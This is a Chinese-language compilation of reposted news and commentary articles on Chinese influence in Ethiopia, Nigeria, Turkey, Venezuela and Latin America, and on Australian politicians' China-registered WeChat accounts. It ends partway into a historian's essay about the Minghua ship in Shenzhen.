中国制造的埃塞俄比亚传统服装是另一个被激烈讨论的话题。传统服装由精致的薄棉布制成，用于宗教仪式，通常价格昂贵，而且是手工制作。这种情况随着中国制造的出现而改变，中国制造的服装通常由合成材料制成，价格便宜得多。虽然这些便宜的商品在埃塞俄比亚的市场上销售和被购买，但中国的生产却受到了广泛的谴责，一些批评者甚至把矛头指向了消费者本身。“我们不希望那些穿着中国制造的文化衫的人有一个快乐的节日！！” Facebook 上的一个帖子这样写道。

其他的批评评论则对当地官员（这次是阿姆哈拉地区的官员）接受中国制造的埃塞俄比亚传统服装并在 Ashenda 庆祝活动中使用这些服装感到羞耻。一些评论更广泛地针对埃塞俄比亚的公众，因为他们没有将埃塞俄比亚的手工编织业发展成可出口的商品，而是让中国人将埃塞俄比亚的传统服装设计挪用和货币化。

公众对中国的异国饮食习惯和对埃塞俄比亚传统文化的潜在侵占的兴趣，说明了中埃交往中更大的裂痕。在官方层面，中埃关系似乎在继续发展成为一种伙伴关系。最近，30万剂中国疫苗被运送到埃塞俄比亚。尽管中国做出了这种慷慨的姿态，但在埃塞俄比亚，人们普遍担心中国日益增长的存在被掩盖为异国情调的危险，而中国的经济力量在“现代化”埃塞俄比亚文化方面是侵入性的和不受欢迎的。

埃塞俄比亚官员将继续庆祝中国的贷款、投资和疫苗，但资本的流动可能不会转化为更深入的文化接触。如果有的话，经济交往将继续与埃塞俄比亚社会中的文化恐惧和微妙的抵抗表达共存。

N G

「图」

在尼日利亚的中国公司面临广泛的虐待劳工指控，影响双

边关系

「图」

尼日利亚是中国制造业相关企业的大本营，这些企业主要集中于尼日尔三角洲西南部城市拉各斯、奥贡和贝宁市。这地区有丰富的石油资源。

然而，这些中国公司经常虐待、剥削和压榨尼日利亚员工。据尼日利亚议员 Ndudi Elumelu 描述，这些公司里的员工面对如「奴隶般的待遇」。多年来，有关中国企业种族主义、人身虐待、性侵犯、工伤甚或死亡的指控，经常出现在本地新闻头条，这些事故的原因多是中国老板的疏于管理、甚至纵容这些行为。然而，相关指控却甚少受到正视。

全球之声公民媒体观察研究计划就中国「一带一路」倡议的研究发现，驻尼的中企有两大类违规行为：因缺乏安全标准导致的工业事故，以及强迫劳动。尼日利亚的中资工厂主和商人虐待和漠视员工健康和及权利的印象，源于众多记者、证人和各方人士在尼日利亚报纸和社交媒体上分享的各种此类事件的叙述和指控。虽不是每项指控都被证实，但它们一起削弱了中国在尼日利亚作为公平雇主和仁厚伙伴的形象。

德国吉森大学（Justus-Liebig-Universität Gießen）和英国伦敦布鲁内尔大学（Brunel University London）的学者 George Ofosu 和 David Sarpong 在回顾了有关非洲的中国劳工议题的学术文献后，于其质性分析里指出：「中国企业在劳工权益领域的做法足以构成虐待，主要方式是非正规雇佣关系、低报酬和普遍不遵守职业安全规范。」

尼日利亚联邦政府对中国企业主涉嫌违反该国劳动法和国际劳工公约的行为保持沉默，这说明两国的关系并不对称。

工伤事故：奥尼耶被烧死

「图」

“[社交]媒体是我们的声音，因为没有人会为我们而战。我们透过[社交]媒体要求政府伸出援手，我们不能把我们同事交与疏忽的中国人”

奥尼耶是维胡有限公司 (Wihu Limited) 的翻译，这家中国工厂位于

奥贡州 Isheri 的 Lagos-Ibadan 高速公路沿线。 2021年7月9日，由于中国雇主涉嫌玩忽职守，奥尼耶被烧死。大火还同时夺走了另外三名尼日利亚员工的生命。

“驻尼日利亚的中国公司毫不关心其员工，他们如动物般看待工人，在工作时毫无安全措施。他们的疏忽造成4名尼日利亚公民的死亡。”

尼日利亚外语翻译协会（AFLAN）董事会成员阿金塞欣瓦（Sola Akinsehinwa）通过 WhatsApp 和电子邮件接受了采访，他指「女工们曾闻到煤气的味道」，并说她们发现这家中国公司安装了一条贯穿遇害者宿舍厨房的煤气管，而捕蝇器上的火花引发了煤气爆炸。

据一位推特用户称，维希工厂既没有灭火器，也没有救护车。由于尼日利亚的医生当时正进行罢工，受害者没有得到及时医疗照顾。最终奥尼耶和其他三人均告死亡。

奥尼耶是 AFLAN 的成员，该组织的代表无法与中国工厂管理层接触，并因事件受到威胁。阿金塞欣瓦说：「据购买灭火器的工人说，这次事件发生后，他们（维胡公司）才去买了灭火器。他们这样做是想掩盖事件责任。」

2021年9月10日，记者通过电话联系了维胡的一位未提供姓氏的经理马库斯（Markus）了解情况。该经理同意通过 WhatsApp 回答问题，但截至本文发布时仍未回复。

还有另一个类似案例。在2018年2月，尼日利亚的经济首都拉各斯州政府要求中资宏兴钢铁有限公司的管理层对导致合同工阿比奥顿（Chris Abiodiun）致残事件负责。 2017年10月1日，金属熔液喷溅到阿比奥顿身上，导致他面部和上肢大面积烧伤，但该公司拒绝为事故造成的伤害作出充份赔偿。

拉各斯州政府、尼日利亚众议院和奥贡州议会各方就中资企业的劳务违规行为作出的高调反应，与联邦政府的沉默形成鲜明对比。究其原因，或许是因为这些层级的政府并没有参与制订尼日利亚与中国之间的外交政策。实现外交目标是联邦政府的专属权力。

强迫劳动

「图」

2020年3月，在新冠病毒流行的高峰期，推特用户 @PslamB在一系列

推文中宣称，华富塑料工业有限公司 (Huafu Plastics Industry Company Limited) 公然藐视尼日利亚政府的新冠病毒隔离指令。该推特用户写道，华富塑料公司在奥贡州伊巴福的工厂内强行扣留了300多名尼日利亚员工。

“他们并不满足，现在他们强迫工人工作（要么回来工作，要么被炒）说政府没有接触他们，因为他们是私人组织。这些人根本不在乎，事实整个状况是他们造成的...”

据称，该公司威胁解雇抵制强迫劳动的员工，要求他们住在工厂里以便工作。公司没有遵守工厂的新冠病毒防疫规范，危害尼日利亚员工的健康。

2020年4月，尼西南部奥贡广东自由贸易区伊格贝萨的中资 Goodwill 陶瓷公司的尼日利亚员工，也经历了类似的不人道待遇。据网络媒体《撒哈拉记者》报道，工人「在缺乏食物下，被关在公司14天」。到他们被要求离开时，却并没有足够的补偿。

2020年7月，尼日利亚警方在首都阿布贾逮捕了一对中国夫妇，据称他们在新冠病毒封锁期间将8名尼日利亚家庭雇员锁在公寓里长达4个月。据尼日利亚《冲锋报》报道，这对中国夫妇是在邻居向警方提供线索后被捕的。但他们跟很多类似的案件一样，没有被定罪。

一个月后， 在2020年8月，尼东南部阿比亚州的内银河钢铁公司 (Inner Galaxy Steel Co)被形容为「中国在尼境内建立的一个现代奴隶营」。一个自称是目击证人的推特用户@Truthfully83发布了一系列推文，并称此家公司的中国管理人员对尼籍工人有种族歧视行为和性侵犯。 「该公司的每个尼日利亚人都被要求称呼中国雇主为主人或夫人」，「男性尼日利亚工人被人身袭击，女性同事则遭受性侵。……中国主人们会炫耀说杀了你也不会有事 。」

此案最后不了了之。 @Truthfully83 声称，此公司或许已经通过谈判和「贿赂」得以 「软着陆」，要么就是「某些人遵循了来自一些部门的指示，以避免引发中国政府反击」。内银河钢铁公司的律师驳斥了这些指控，认为是对该公司的「虚假的、未经证实的、破坏性的和不可信的」攻击。

中国-尼日利亚的权力关系

「图」

尼日利亚《劳动法》和2010年《雇员补偿法》均规定须保障工资，保证合理补偿，并将强迫劳动和任何形式的歧视定为罪行。经法院裁决后，相关违规行为会受到惩罚。

尼日利亚记者巴马鲁（Socrates Mbamalu）写道，当地法律未能约制在尼日利亚做生意的中国移民，「虽然很多非洲国家均有制订劳动法，但却因为执行不力，形同虚设。」故此，中国非洲项目（The China Africa Project) 执行编辑奥兰多（Eric Olander）对《非洲报道》说：「保护工人权利的最终责任落在联邦政府和州政府身上，劳工法需要靠他们执行。」

中国企业在该国的劳动法违规行为可能会继续下去，除了其他因素，他们贿赂尼日利亚执法官员的情况很普遍。此外，尽管媒体对这些问题的关注度很高，但尼政府似乎更愿意保持沉默，以避免损害中国在该国的利益。

「中国是尼日利亚大型项目的主要融资来源。据估计，目前中方项目的成本共计470亿美元，其中许多由中国贷款资助。对于一个如此依赖中国的国家来说，要对北京采取行动是很困难的」，尼日利亚拉各斯大学的政治学家奥修地（Abdul-Gafar Tobi Oshodi）认为。

「这也是为什么尽管中国外交部长王毅告诫中企要遵守尼日利亚的劳动法，却没有任何作用」，奥修地说。

瑞尔森大学加拿大移民与融合卓越研究中心（CERC）的研究员欧拉贝（Oreva Olakpe）直言：「中国外交夸大了互利、平等和尊重这些理念……对中国的高度依赖意味着在中尼关系双边关系中，尼日利亚一方能采取主动权的空间会受到限制」。他认为，中国公司在尼日利亚的侵权行为将持续存在，直到两国之间的权力制衡在实际上趋于平衡。

T R

「图」

中国“一带一路”背景下的土耳其维吾尔族困境

「图」

由于强大的语言、文化和宗教联系，土耳其传统上一直是维吾尔族的盟友。然而，安卡拉与北京的政治和经济联盟，包括“一带一路”倡

议（BRI），使这些历史纽带变得复杂，分裂了土耳其的公众舆论，并在过去几年里重塑了土耳其关于维吾尔族的官方政策。

生活在中国西部新疆省的近1300万维吾尔人在20世纪40年代失去政治独立后，长期以来一直将土耳其视为文化和政治的天堂。土耳其已成为维吾尔商人和学生以及为逃避迫害和拘留营而寻求庇护的持不同政见者的家园。今天，估计有5万名维吾尔人住在土耳其，以逃避北京精心策划的对其最基本人权的剥夺，包括宗教、行动和用母语交流的自由。

直到2010年代初，维吾尔族的事业在土耳其政治界得到了广泛的拥护。2009年，时任总理的雷杰普·塔伊普·埃尔多安将新疆局势描述为“种族灭绝”，并试图在国际上羞辱中国。

- 如果您错过了《为什么听不到中亚和俄罗斯维吾尔人的声音？》

突然的转折

「图」

但在2016年7月军事政变未遂经济急剧下滑后，埃尔多安的语气发生了变化。国家货币贬值29%，对经济造成重大打击，同时与美国的关系恶化，土耳其在2018年将其议会制度改为总统制。

此后，经济几乎没有恢复。信用评级机构目前将土耳其列为高风险国家。在过去的三年里，资本外流已经超过了资本流入。换句话说，外国投资者由于经济或政治原因正在离开土耳其。2013年，土耳其近四分之一的政府债券由外国投资者持有，而今天，这一比例仅仅约为4%。外国直接投资（FDI）也有所下降。根据贸易部的数据，从2016–2020年，土耳其的外国直接投资总额从121.8亿美元降至66.7亿美元。在适当的时候，来自荷兰、西班牙、比利时、阿塞拜疆和俄罗斯的投资者都减少了他们在该国的投资。

中国“出手相救”：投资和疫苗

「图」

随着外国投资者纷纷放弃土耳其，中国作为一个重要角色介入了。2018年货币危机发生后不久，中国向土耳其提供了36亿美元的贷款，用于能源和运输部门。此后，中国又向土耳其提供了66亿美元的

贷款，以加强两国之间的经济和商业投资。

随着经济关系的加强，土耳其在中国的维吾尔人待遇方面的政策有所削弱。最值得注意的是，土耳其外交部长梅夫吕特·恰武什奥卢在2017年发表声明，向中国同行保证“土耳其不会容忍对中国的批评”，这标志着执政的正义与发展党（AKP）对维吾尔人的政策发生了转变。

> 我们绝对不允许在土耳其进行任何针对或反对中国的活动。此外，我们将采取措施，消除任何针对中国的媒体报道。—— 土耳其外交部长梅夫吕特·恰武什奥卢

土耳其当局上一次批评虐待维吾尔人的行为是在2019年2月。土耳其外交部发言人哈米·阿克索伊在一份书面声明中说，“超过100万招致任意逮捕的维吾尔族土耳其人在拘留营和监狱中遭受酷刑和政治洗脑。没有被拘留在这些营地的维吾尔人受到了沉重的压力”。中国政府的反应是迅速的。中国驻土耳其大使邓励“警告”土耳其，这种言论干扰了中国投资者，如果土耳其继续批评中国，将不可避免地损害双边经济关系。

2017年，土耳其在总统埃尔多安访问北京期间与中国签署了一项引渡条约。该协议由22条组成，规定土耳其有义务将任何因刑事指控被通缉的人引渡到中国。虽然中国在2020年12月批准了该条约，但土耳其还没有这样做。土耳其议会于2019年收到该文件。许多人将批准该条约的延迟与中国未能交付承诺的1亿剂中国制造的COVID-19疫苗联系起来。

但中国通过经济胁迫政策来惩罚对其政策持批评态度的国家，从而达到自己的目的，这是臭名昭著的，土耳其也不例外。因此，听到埃尔多安在2019年7月与习近平在北京会晤时深情地谈论中国，一点也不令人惊讶。

根据中国媒体的报道，埃尔多安感谢“中国的繁荣”确保了“生活在新疆维吾尔自治区的各民族居民”的“幸福生活”。土耳其总统还强调，土耳其反对极端主义，愿意与中国增加政治互信，加强安全合作。他还向中国保证，土耳其政府不会允许在土耳其进行反华活动。对此，习近平表示中国赞赏土耳其的立场，并感谢埃尔多安保证土耳其境内任何势力都不允许对中国采取分裂行动。这一保证的最终表现是土耳其在2021年9月9日向世界维吾尔代表大会主席多里坤·艾沙提交的排除令。尽管9月7日的法院命令表明多里坤·艾沙应该被允许入境，但土

耳其在9月19日禁止艾沙入境。

然而，AKP在中国问题上的转弯并没有得到广泛支持。根据2021年5月的 MetroPOLL 调查，53.2%的受访者表示，他们不认为政府在对待维吾尔人的问题上对中国做出了充分的回应。

除了公众的反应，反对派领导人也对执政政府在维吾尔人问题上的沉默提出了批评—— 执政党很难控制这种说法。2021年4月，当善良党（İYİ Parti）主席 Meral Akşener 在推特上表示支持东突厥斯坦时，中国驻安卡拉大使馆在推特上回应道：“中方坚决反对并强烈谴责任何个人或势力对中国主权和领土完整的挑战。中方保留做出正确回应的权利”。

尽管据土耳其媒体报道，安卡拉就这条推文传唤了中国大使，但土耳其外交部并没有就传唤一事发表新闻声明。虽然执政党保持沉默，但在推特上，人们的反应却有所不同。

记者 Gökhan Özbek，写道：

“知道你的位置！/这个国家不是殖民地。/你也不是殖民地总督! 你不能含蓄地威胁这个国家的任何一个公民！/这个国家不是殖民地。要遵守外交规则！/不要针对土耳其的任何人！”

另一位推特用户写道；

“中国威胁并针对为维吾尔族土耳其人辩护的 *Meral Akşener* 和 *Mansur Yavaş*。应向中国发出外交照会，并宣布中国大使馆工作人员为不受欢迎的人。”

到目前为止，加入AKP沉默的，是其联盟伙伴—— 民族主义行动党（MHP）。

关于生活在土耳其的维吾尔人的困境和对他们在中国的待遇的叙述的突然改变，以换取北京的经济奖励，表明了AKP政府的优先事项和控制媒体言论的意愿，以强加最适合他们当时的政治利益的叙述。

V E

「图」

中国正在以廉价的监视技术充斥着南美洲

「图」

委内瑞拉总统尼古拉斯·马杜罗(Nicolás Maduro)对委内瑞拉民主的镇压，利用技术来实施社会控制机制，并阻挠互联网上的言论自由。批评者指出，委内瑞拉政府旨在模仿中国盛行的监控国家，而中国也热衷于将这种监视模式输出到委内瑞拉。

今年6月，联合国和平集会和结社自由权利特别报告员向联合国人权理事会提交的一份报告中指出，委内瑞拉政府在抗议活动中限制使用推特、Facebook 和 Instagram。自由之家发表的《网络自由》报告认为委内瑞拉 “不自由”。

在这方面，在讨论双边关系的性质时，中国参与制定的用于破坏委内瑞拉民主和人权的机制变得特别有意义。多年来，活动家和记者已经指出，政府越来越善于实施在中国看到的同样的社会管制机制，以限制甚至封锁互联网的访问。

20多年前乌戈·查韦斯总统上台后，委内瑞拉成为中国在该地区最坚定的盟友之一。委内瑞拉也是中国向拉美提供的近一半贷款的接受国。

在社会和数字媒体上，关于两国政府提倡的 “全面战略伙伴关系” 的最终目标是什么的讨论正在进行。一些观察家认为它只是经济上的，只是因为中国被认为有直接的经济利益而存在。其他人认为委内瑞拉 “是中国争夺美国权力的更大目标中的一枚棋子”，因此，中国对马杜罗政府的支持也是一种地缘政治战略。

然而，中国被指控参与委内瑞拉的这些反民主做法的具体细节一直是个谜。关于2000年至2020年两国之间的双边协议，官方资料很少。独立记者和民间社会组织承担了拼凑这些协议的一些关键方面和影响的任务，但细节仍然很稀少。

随着委内瑞拉的镇压和审查制度的加强，一家中国公司的活动引起了越来越多的关注：国有的中国电子进出口总公司（CEIEC）是负责为委内瑞拉政府提供数字手段以压制和迫害其批评者的主要公司之一。

但CEIEC不是一家普通的科技公司。它是中国最大的军事承包商之一，也是中国政府授权的少数国防公司之一，可以在海外销售。

CEIEC在委内瑞拉：一个不透明的商业传统

「图」

CEIEC与委内瑞拉政府做生意并不新鲜。2005年和2014年，作为一系列国防合作协议的一部分，委内瑞拉购买了该公司制造的雷达和指挥所。

根据其网页，CEIEC声称帮助其客户应对“主权威胁、自然灾害、社会危机和经济发展”的挑战，为他们提供国防、公共安全和数字身份的软件、设备和基础设施。到2019年，它有24个海外分支机构，在160个国家和地区有业务。

2013年，委内瑞拉向该公司支付了10亿美元，用于开发一个公共安全系统，其中包括安装30,000个监视摄像头，以及通过独立电信系统相互连接的国家、地区和市政指挥中心。该项目旨在支持政府解决世界上最高犯罪率之一的举措。除其他原因外，该项目未能实现其目标，因为该协议没有得到充分执行。

2016年，CEIEC向委内瑞拉政府提供了一套用于监狱系统的监控系统，声称旨在“保证委内瑞拉监狱的安全、秩序、纪律和人权”。

最近在电信领域的协议甚至更难确定，表明它们对两国都可能是高度敏感的。

2020年11月，美国财政部通过其外国资产控制办公室（OFAC）制裁了CEIEC，因为它帮助马杜罗政府破坏民主，包括“努力限制互联网服务，对政治对手进行数字监控和网络操作”。据OFAC称，CEIEC向委内瑞拉提供了中国GFW的商业化版本，这是北京实施的全国性过滤系统和一套协议，防止政治敏感内容进入国内网络。

制裁引发了关于CEIEC在委内瑞拉的业务性质的讨论，而官方信息的缺乏为各种理论的出现提供了沃土。这并不是美国第一次对CEIEC实施强制措施。2006年至2008年期间，美国国务院因该公司违反《伊朗、朝鲜和叙利亚不扩散法案》而对其进行制裁，该法案旨在防止这三个国家获得可用于发展大规模毁灭性武器或巡航导弹或弹道导弹系统的设备或技术。

2020年，在一个流行的在线节目的采访中，专门研究电信和信息通信技术的加拉加斯记者威廉·佩尼亚说，CEIEC出口和管理收集委内瑞拉人大数据的软件，这有助于政府利用公民获得医疗保健和急需的政府补贴等需求进行社会控制。两年前，另一家中国公司，即中兴通讯公司，因其在帮助政府开发这一系统中的重要作用而成为公众监督的对象。

据佩尼亚说，CEIEC还向委内瑞拉政府提供技术援助，对记者和反对派领导人进行间谍活动，限制网速，并阻止数字广播。

一位持批评态度的记者 Ibéyise Pacheco 认为，CEIEC的作用更加模糊。她在2021年4月《美洲日报》的一篇评论文章中写道，这家中国公司已经控制了委内瑞拉国有电信公司 CANTV（Compañía Anónima Nacional de Teléfonos de Venezuela）—— 委内瑞拉的主要互联网供应商，并从加拉加斯的总部破坏和试图入侵与委内瑞拉政府敌对的国家所使用的军事软件。

中国对电信的影响越来越大

「图」

根据透明度国际委内瑞拉分会发布的一份关于过去20年中国-委内瑞拉双边协议的报告，电信是协议份额最大的第二个部门，为51个，仅次于委内瑞拉的碳氢化合物生产。在这个合作框架内资助的项目中，发射三颗甚至可能四颗卫星，以及将5G技术引入委内瑞拉的项目，最为突出。

考虑到委内瑞拉国有电信公司CANTV因腐败、管理不善和缺乏投资而衰落，记者和社交媒体用户猜测该公司是否已经或将被中国投资者收购，原则上是改善互联网接入的提供。其中提到的公司有华为和CEIEC。

由于中国与委内瑞拉的关系缺乏透明度，很难确认中国在委内瑞拉的电信领域到底扮演了什么角色，以及它是如何影响委内瑞拉人的数字权利和言论自由的。

不止委内瑞拉，中国正在以廉价的监视充斥南美洲

「图」

在过去十年中，主要来自中国的监控公司通过以折扣价提供产品和服务、有时甚至是免费提供的方式，增加了拉丁美洲对其监视技术产品的需求。你可能还记得，中国开始向美国警察部队提供无人机的那段时间。

问题是，在拉丁美洲，甚至在美国，当局不确定监控技术所收集的数据的去向。

在拉丁美洲地区，对面部识别技术的需求在过去十年中有所增加。该技术受到欢迎，因为它被视为 “打击犯罪” 的一种手段。

德克萨斯大学奥斯汀分校的中国监控出口专家 Sheena Greitens 说：“用于公共安全或警务的技术在拉丁美洲是相当普遍的”。

这些国家的居民无视有据可查的政府和销售公司对这种技术的滥用，因为他们承诺这种技术将使他们的地方 “更加安全”。安装监控技术甚至是政治家们的一个谈话要点。

据 Rest of The World 报道，“我们的目标是使圣保罗成为全球的首都，而不是一个省—— 这包括使它成为一个数字城市”，Joao Doria 在2017年担任圣保罗市长时说。他的这番话是在包括海康威视、中兴、大华和华为在内的中国公司向该市捐赠了4000多台监视摄像机的时候说的。

“在我的任期结束时，圣保罗将成为拉丁美洲监控最好的城市”，他说。

Access Now 报告的撰稿人之一何塞·雷纳托·拉兰热拉解释说，在巴西，“犯罪率历来很高，因此任何试图解决这一问题的措施通常都会受到民众的欢迎”。而且，整个地区都是如此。

专家解释说，公司可能向国家和地方政府赠送监控产品，希望在未来获得更大的合同，以及在他们试图向其他政府出售时获得推荐信。

“这可能是他们客户关系管理的一部分 —— 试图通过与市政或省级官员建立良好的关系，在该国建立长期的战略立足点”，Greitens 解释说。

其他时候，赠送产品背后的动机是为了建立监控技术以外的关系。华为等公司还有其他产品，如5G技术。

向新地区赠送监控产品的另一个好处是数据。雷纳托说，监控技术的接收者可以说他们是：“从我们的公民那里收集数据，并根据当地独特的人口统计学增强他们的产品”。这就是在津巴布韦发生的事，中国的面部识别公司CloudWalk。

然而，该报告的撰稿人无法确认这些技术所收集的数据是否最终落入其背后的公司手中。考虑到中国公司可能被迫将数据交给专制的中国共产党，这本身就应该让任何政府感到恐惧。〇

Rome and Beijing: Divorce Italian style?

Why are Czech elites being captured by Beijing narratives?

Arabophone Chinese influencer divides public opinion in Egypt

China as a cultural threat in Ethiopia: From food to cultural appropriation

Chinese firms in Nigeria face widespread labour abuse allegations, tainting bilateral relationship

Turkey's Uyghur dilemma in the context of China's Belt and Road Initiative

Is China exporting its surveillance state to Venezuela?

China is flooding South America with cheap surveillance. At what cost?

原文

武器化城市 - iYouPort

中国-半壁高堡奇人

据退役空军准将 Robert Spalding 称，如果中国允许数十亿台设备连接5G网络，那么中国主导的新无线技术将为北京提供“破坏性的和大规模监视”的先进能力。

Spalding 去年2月在国家安全委员会发布了一份备忘录后被解雇，他在该备忘录中提出政府接管国家5G移动网络的想法—— 立法议员和无线公司一直拒绝接受。

在最近几天由彭博社获得的新备忘录中，Spalding 表示，中国对超快速5G网络的支配（速度比现有服务快10–100倍）将“武器化城市”。

“商业提供者正在努力开发5G网络，提供比当前第四代无线服务更快的连接。我们的想法是，显著提高速度—比现有服务快10倍甚至100倍—最终将有助于支持自动驾驶汽车，智能家电甚至手术机器人。“

在备忘录中 Spalding 描绘了一个走向中国统治的未来。最终，其网络技术的替代品将不存在，因为其他供应商将无法与华为和中兴通讯那种的政府补贴的产品竞争，Spalding 说。

一旦中国控制了互联网连接设备的市场，它就能“武器化城市”，Spalding 在备忘录中说：“想想自动驾驶的汽车突然碾压毫无防备的行人；想想那些飞入客机入口的无人驾驶飞机。“

Spalding 认为，应该在三年内使用可以监控网络设备的技术构建，并且“如果它们受到感染，就能将它们与攻击者隔离开来”。 Sapalding 表示，监控将依赖于加密以及安全的供应链，以及“将华为和中兴排斥出去”。

“5G技术将巩固澳大利亚人每天所依赖的通信，从我们的卫生系统和远程手术的潜在应用，到自动驾驶汽车，再到我们的电力和供水运行，”澳大利亚信号局局长 Burgess 说。 “赌注不可能更高了。”

China’s push to dominate new wireless technology will give Beijing

advanced capabilities for “mayhem and mass surveillance” if they are allowed to cominate 5G networks linking billions of devices

原文

澳大利亚总理如何变成了福建人？ - iYouPort

中国-半壁高堡奇人关于中国社会

多年前我们论述“反转GFW”的时候，其主题是提醒警惕中国BAT的全球扩张足迹；仅仅是技术和商业角度上的，也是不全面的。

事实上“反转GFW”的助推器还包括人 —— 也就是华人移民。就如人们在巴基斯坦看到的状况那样（详细《中国如何在巴基斯坦扩张其足迹》）。

华人移民的特点是不论身在哪里，都基本不会放弃对微信的使用（其背后原因有点复杂，不仅是乡愁问题）。这便造成了其所在国家被微信所“渗透”；随着华人移民越来越多，很多国家的政客都难以忽视华裔社区的选票……其结果便是：

「图」

「图」

包括首相和反对党领袖在内的澳大利亚政界人士，正出现在中国最大的社交媒体平台微信上，他们使用的官方账户是中国公民设立的。

这种做法似乎违反了该平台的条款和条件，并使澳大利亚政客进入了可以被中国政府随意审查的区域内。

⚠WeChat 声称它在澳大利亚拥有100万月度活跃用户。

澳大利亚政界人士正在利用微信这样的平台笼络华裔澳大利亚选民的热情。

总理 Scott Morrison 的微信官方账号于1月份以中国福建省一名不知名的中国公民的名义登记，而 Bill Shorten 和 ALP 的官方账户则登记在山东省一名身份不明的中国男子名下。

ABC 已经确定了**12**名澳大利亚政客，他们正在使用以中国人的名义

注册的微信账号，其中包括政府部长。

根据微信的纸上规定，“初始注册申请人不得捐赠、借用、出租、转让或出售微信账户，也不允许任何非初始注册申请人使用微信账户。”

微信的用户协议声明它有权禁止或取消违反规则的账户。

但在澳大利亚的案例中，上述这些规定显然都不存在。

在澳大利亚政客这事里，任何一方都不会透露哪些中国公民拥有这些账户。

很明显，通过使用在中国注册的账户，澳大利亚政客已经受制于中国政府的政策，这些政策要求用户推动共产党的意识形态、维护公共秩序、追求中国的国家利益。

「图」

「图」

账户背后的中国公民到底是谁？

澳大利亚联邦工党有一个在中国注册的中心级账户 “Bill Shorten and Labor”.

该账户在2017年5月之前还只是一个品茶主题的中国账户。

ABC已经找到自由党候选人的**11**个微信官方账号，其中包括城市部长 Alan Tudge，他的账户是在天津市的一名身份不明的男子名下登记的，还有移民部长 David Coleman，他在一位北京籍公民的身份下登记了账户。

澳大利亚战略政策中心的网络政策专家 Fergus Ryan 表示，“我们的政治领导人需要做一些解释了”。

“如果我们查看 Bill Shorten 的 Instagram 帐户或他的推特，或总理 Scott Morrison 的 Instagram 帐户或 Twitter 帐户，发现它是由爱达荷州的一位未透露姓名的男性注册的，我们肯定会认为这很奇怪。中国的微信也不例外，”Ryan 说。

“我认为首先我们应该知道这些账户注册人的姓名和他们的注册方

式，以及这些人与有关政客之间的关系。”

总理办公室不会直接回答有关 Morrison 先生账户所有权的问题，并在一份书面声明中说：

“总理设立微信账号是为了与使用该社交媒体网络的华裔澳大利亚社区的一些人进行交流。使用微信才能直接与社区讨论他们关心的问题。”

ALP 运动的发言人在一份声明中说：“该帐户的经营者是澳大利亚居民和澳大利亚工党雇员”。

“这是建立帐户的人，我们所有的社交媒体帐户都由反对党领导办公室和本党在澳大利亚管理。”

「图」

「图」

澳大利亚政客必须遵守共产党的规则

中国注册的账户所受到的审查比国际注册的账户更加严格。

使用这些账户的澳大利亚政客必须遵守微信政策和中国共产党关于互联网使用的任何指导方针 —— 那是一套严格的规定，其名称听起来像是在中央政治局会议上讨论过的那种东西。

它被称为“通过即时通讯工具提供的公共信息服务发展管理暂行规定”，该规定规范了中国的所有社交媒体。

根据此政策，这些帐户的用户应该：

- 维护公共秩序和社会道德
- 追求中国的国家利益
- 推进“社会主义制度”（请记得，中国讲的“社会主义”不是理论上的社会主义）

位于多伦多的研究中心 The Citizen Lab 发现，在中国大陆注册的微信用户均被通过关键词过滤进行了严格的审查。

“公民实验室”报告的合著者 Lotus Ruan 说，微信过滤了几乎所有对中国政府和执政党领导人的批评，有关香港、台湾和民族的问题，以

及天安门广场大屠杀等历史事件相关的内容。

根据 Ruan 的说法，有时候用户不知道自己已被审查过。

“如果一条消息中包含某个已被黑名单的关键字，整个消息只有发布者自己可见，”她说。

Fergus Ryan 认为，即使澳大利亚政客的信息没有受到审查，他们仍然需要通过自我审查才能继续使用微信去接触他们的关键选民。

“他们可能已经意识到围绕微信的安全隐患和审查问题，但是他们也有很多的动机需要尝试与这些选民进行沟通，”他说。

“由于担心这条*重要的通道*被关闭，他们可能不想说任何被北京认为过于敏感的事和话题。”

在四月举行的微信现场论坛上，Bill Shorten 被问及一系列有关华为、中国干涉澳大利亚政治、亿万富翁商人和政治捐助者黄祥模的问题，以及对中国共产党在澳大利亚之存在的负面看法。

他没有回答任何这些问题。

Shorten 的竞选团队在一份声明说：

“我们不容忍任何旨在破坏我们自由和公平社会的外来干涉。

“工党从未在任何社交媒体平台上对我们的通信进行任何审查。”

为什么澳大利亚政客要在中国注册？

自由党声称他们的微信活动扭转了2016年最后一次联邦选举中 Chisholm 的失败结果，其中自由党在全国范围内逆势而上并抢夺了工党的边缘席位。

在中国注册的官方账户允许政客发布更多文章并向潜在选民发送更多通知。

微信提供订阅账户和服务账户 —— 但前者只适用于中国公民和企业。

订阅帐户每天最多可向其关注者发送一个通知，每次“推送”最多8篇文章。

非中国公民可以拥有的服务帐户每月可以发布四条消息。

Bill Shorten and Scott Morrison risk losing access to Chinese voters on WeChat

原文

离岸革命，在岸资本主义 - - 船舶与中国和世界不断变化的关系 - iyouport

中国-半壁高堡奇人

这艘船见证了毛泽东时代革命外交的衰落，邓小平时代市场经济的崛起，以及它所创造的财富和不平等

【注】本文作者 Taomo Zhou 是新加坡南洋理工大学的历史学助理教授，专门研究中国现代和东南亚历史。文章以第一人称陈述。

我在深圳的一个移民家庭长大，所以海上世界在我的童年记忆中有着特殊的地位。标志性的明华轮—— 一艘被改造成酒店、酒吧和餐厅的游轮，是来访亲戚 “必到” 的旅游目的地，也是家庭照片的热门背景地。与明华轮相邻的宽敞广场是周末散步的常去之处。跟随90年代初的 “酷孩子” 潮流，我在海洋世界的麦当劳举办了生日派对—— 这是麦当劳在中国的第一家快餐连锁店。

当时我没有意识到，明华轮和我的父母以及深圳经济特区数以百万计的其他公民一样，本身就是一个移民，在中国并不遥远的社会主义过去，有一个完全不同的身份。1973年，中国远洋运输局从法国购买了这艘船，将材料和工程师从中国运送到东非，用于建造坦桑尼亚-赞比亚铁路，并在第三次印度支那战争后帮助遣返来自越南的中国难民和来自柬埔寨的中国援助人员，然后于1983年在深圳永久停靠。1984年，中国改革的“设计师”邓小平登上了明华号，并为这条船题写了新的名字 “海上世界”，这是一个重要的政治姿态，肯定了市场导向的做法在深圳的地位。

作为全球连接器，船舶是最古老的运输技术之一，“通过贸易、殖民主义、移民和旅游” 将世界不同地区联系起来（*Anim-Addo* 等人，*2014: 338*）。在COVID-19危机之前，服务于不同目的的现代船舶穿越了海洋世界（*Reyes 2018; Khalili 2020*）。即使邮轮业受到大流行病的重创，商船的重要性也只是增加了。我们中的许多人焦急地监测着最近苏伊士运河的堵塞情况，担心我们的网上订单可能被延误。然而，除了在南海贸易中发挥重要作用虽然没有 “发现新世界” 的明朝

军舰之外，我们对现代中国船只的了解出奇地少（*Wang 1998*；*Menzies 2002*）。

